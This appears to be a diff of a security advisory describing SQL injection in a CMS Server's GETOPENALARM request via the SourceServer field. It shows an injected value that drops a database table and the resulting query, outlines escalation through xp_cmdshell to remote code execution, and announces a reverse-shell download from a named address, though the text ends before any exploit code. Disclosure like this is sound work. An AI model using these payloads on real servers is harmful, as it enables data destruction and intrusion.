You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The GETOPENALARM verb is used to obtain information about alarms stored in the CMS Server database. An example request is below:
4
6
7
+
```
5
8
GETOPENALARM NUCM/1.0
6
9
DeviceID: <number>
7
10
SourceServer: <server-id>
8
11
LastOne: <number>
12
+
```
9
13
10
14
The vulnerability is in the "SourceServer" parameter, which allows injection of arbitrary SQL characters, and can be abused to inject SQL into the executing statement. For example the following request:
11
15
16
+
```
12
17
GETOPENALARM NUCM/1.0
13
18
DeviceID: 1
14
19
SourceServer: ';drop table bobby;--
15
20
LastOne: 3
21
+
```
16
22
17
23
Will cause the following SQL query to be executed on the server:
18
24
SELECT AlarmNo, EventType, DeviceID, Channel, EventDesc, DateTime, PreviewImage, SourceServer, AlarmID, State, Priority, Owner, HistoryNo, PosTransaction, AlarmNote, AlarmType FROM AlarmLog WHERE DeviceID=1 AND SourceServer='';drop table bobby;-- ' AND State<20 order by DateTime DESC
19
25
20
26
Given that SQL Server 2005 Express is used by default (see vulnerability #2), this can be abused to enable xp_cmdshell and achieve remote code execution.
21
27
22
28
As as example, here is a full working exploit that downloads a reverse shell from http://10.0.99.102/shell.exe and executes it:
0 commit comments